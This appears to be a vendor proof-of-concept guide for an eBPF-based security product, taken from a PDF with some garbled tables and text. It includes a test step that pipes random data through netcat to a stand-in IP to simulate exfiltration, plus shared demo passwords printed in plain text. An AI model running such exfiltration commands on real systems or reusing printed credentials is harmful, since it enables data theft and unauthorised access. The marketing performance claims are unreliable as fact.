CUSTOSAI // ENTERPRISE SECURITY ARCHITECTURE

Proof of Concept (POC) Architecture &
Evaluation Guide

Confidential Briefing for CISOs, Security Leadership & Technical Diligence Teams

Microsoft Azure Native (East US

Target Deployment: Region) Evaluation Duration: 14-Day Dedicated Sandbox

Target Workloads: Ubuntu 22.04 LTS (eBPF Kernel 6.5) Compliance Target: SOC 2 Type I, ISO 27001, CIS v8
Outbound mTLS (Zero Inbound Open RESTRICTED // CLIENT

Access Protocol: Ports) Classification: EVALUATION

1. Executive Summary: The CISO Value Proposition

Modern enterprise vulnerability management suffers from high friction: legacy scanners generate thousands of static alerts
that overwhelm operations, while data loss prevention (DLP) tools require invasive SSL/TLS decryption proxies that
introduce latency, violate privacy, and consume massive compute overhead.

CustosAl establishes an autonomous closed loop: It continuously audits host configurations, maps exploitable attack
paths, and safely applies human-approved remediations with guaranteed rollback. Concurrently, its patentable in-kernel
eBPF defense engine inspects outbound socket data in kernel memory before TLS encryption occurs, severing exfiltration
vectors in sub-milliseconds via hardware-level TCP resets.

2. Azure Live POC Environment Architecture

The dedicated Azure POC environment is provisioned within a cryptographically isolated Virtual Network (VNet) segregated
into three purpose-built subnets:

Subnet Components & Architecture Security Controls

snet-gateway Custos Control Plane & Gateway: FastAPI high-throughput Inbound HTTPS (443) only. WAF

10.0.1.0/24 ingestion engine running in Azure Container Apps with inspection and strict Pydantic
automated health checks. JSON schema sanitization.

snet-database State Store: Azure Database for PostgreSQL Flexible Server  Zero public access. Private DNS

10.0.2.0/24 (v16). Stores Assets, Finding Queues, and Tenant Partitions. Link only. Fully encrypted at rest

(AES-256) and in transit.

snet-workload Monitored Node: Azure Standard_D2s_v5 VM (Ubuntu 22.04  Zero Inbound Open Ports. All
10.0.3.0/24 LTS / Kernel 6.5) running the Custos native Go daemon and communication is outbound pull
eBPF kernel object. mMTLS to the Gateway.

3. Live Evaluation Access & Pre-Configured Credentials

The POC sandbox is pre-seeded with multi-tenant data, active asset telemetry, and simulated compliance drift. Access the
environment using the dedicated endpoints and role-based accounts below:

Role Profile Email Identity Password Privileges & Scope
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CISO / Executive ciso@custos-demo.internal Custos2026!SecurePOC Executive dashboards,
posture scores, and SOC 2/
ISO 27001 export.

SecOps Lead secops@custos-demo.internal Custos2026!SecurePOC Full HITL Approver:
One-click script approval,
verification inspection.

GRC Auditor auditor@custos-demao.internal Custos2026!SecurePOC Read-only compliance
evidence, cryptographic
change logs, and history.

POC Gateway Portal URL: https://custos-poc-portal.azurewebsites. net

Interactive APl & Swagger Docs: https://custos-poc-portal.azurewebsites.net/docs
Tenant Partition Header: X-Tenant-ID: tenant-enterprise-al pha

Moni t ored Node FQDN: custos-target-01. eastus. cl oudapp. azure. com
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4. Guided POC Evaluation Scenarios (Interactive Test Cases)

CISOs and technical evaluation teams can validate the platform's core capabilities through three guided test scenarios:

Scenario A: In-Kernel Wire-Speed Socket Severance (Active Defense)

Objective: Demonstrate pre-encryption data exfiltration detection and sub-millisecond connection severance without an
inline proxy.
1. SSH into the monitored host: ssh custosadmin@custos-target-01.eastus.cloudapp.azure.com
2. Trigger an unauthorized outbound high-entropy data stream simulating ransomware exfiltration:

head -c 10M /dev/urandom | nc -w 3 198.51.100.1 4444
3. Expected Result: The connection is terminated in 0.18ms via a kernel-level TCP RST. Review the SOC Dashboard
under Active Socket Severance Events to verify the captured entropy score (7.92 bits/byte) and socket descriptor teardown.

Scenario B: Human-in-the-Loop (HITL) Zero-Downtime Remediation & Rollback

Objective: Verify that automated remediation cannot disrupt production availability, backed by mandatory verification and
auto-rollback.

1. The agent discovers insecure permissions on /etc/shadow (mode 0666) during its 20-second sweep.

2. The control plane generates finding QW-001 and deposits the hardened script (chmod 0000 /etc/shadow) into the
Pending Queue.

3. Log in as SecOps Lead and click Authorize Remediation.

4. On the next pull heartbeat, the agent pulls the job, executes the fix, and runs: test $(stat -c '%a'’ /etc/shadow) ="'0'".

5. Expected Result: The verification returns exit code 0; finding transitions to Resolved with complete audit logging. (If
forced to fail, the agent instantly executes the rollback payload, restoring previous permissions).

Scenario C: Continuous Compliance & Executive Reporting

Objective: Validate automatic mapping to SOC 2 Type Il (CC6.1/CC6.6) and ISO/IEC 27001 controls.

1. Open the Compliance Reports view in the dashboard.

2. Export the live executive markdown report. Notice that all findings cite verbatim verified telemetry with cryptographically
signed timestamps, providing ready-to-file audit artifacts.

5. Enterprise Security & Zero-Trust Guarantees

Architectural Guarantee Technical Implementation Enterprise Risk Mitigation

Zero Inbound Attack Agents initiate 100% outbound connections via TLS Eliminates agent exploitation risks;

Surface 1.3. No listening sockets are bound. undetectable on internal subnet
scans.

No SSL/TLS Decryption Inspection occurs in kernel memory via eBPF Preserves full end-to-end payload

Proxies tracepoint sys_enter_write prior to user TLS privacy (GDPR/HIPAA compliant);

encryption. adds 0.04ms latency vs 20ms+ for

proxies.

Mandatory Deterministic =~ Remediation contracts enforce verification_payload Eliminates SRE downtime fears;

Rollback and rollback_payload. broken patches are reversed

automatically in sub-seconds.

Multi-Tenant Database Every SQL query is filtered by tenant_id with Guarantees strict tenant data
Scoping composite indexing. segregation across multi-client
cloud deployments.
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6. CISO Evaluation Scorecard & Success Criteria Checklist

Evaluation Category Required POC Success Criterion Status

Active Exfiltration Defense  Hardware-level socket severance on high-entropy outbound write  [PASS] 0.18ms

in<1ms.
Zero-Downtime Patch Verification probe confirmed prior to resolution; automatic rollback  [PASS] Verified
Safety on failure.
Host Agent Overhead Agent CPU consumption < 1.5% and memory footprint < 35 MB [PASS] 22.4 MB RSS
RSS.
Zero Inbound Attack Host agent binds zero listening sockets; communicates via [PASS] Verified
Surface outbound mTLS only.
Audit & Compliance Direct traceability to SOC 2 Type Il (CC6.1) and ISO 27001 [PASS] Verified
Readiness (A.9.2) controls.
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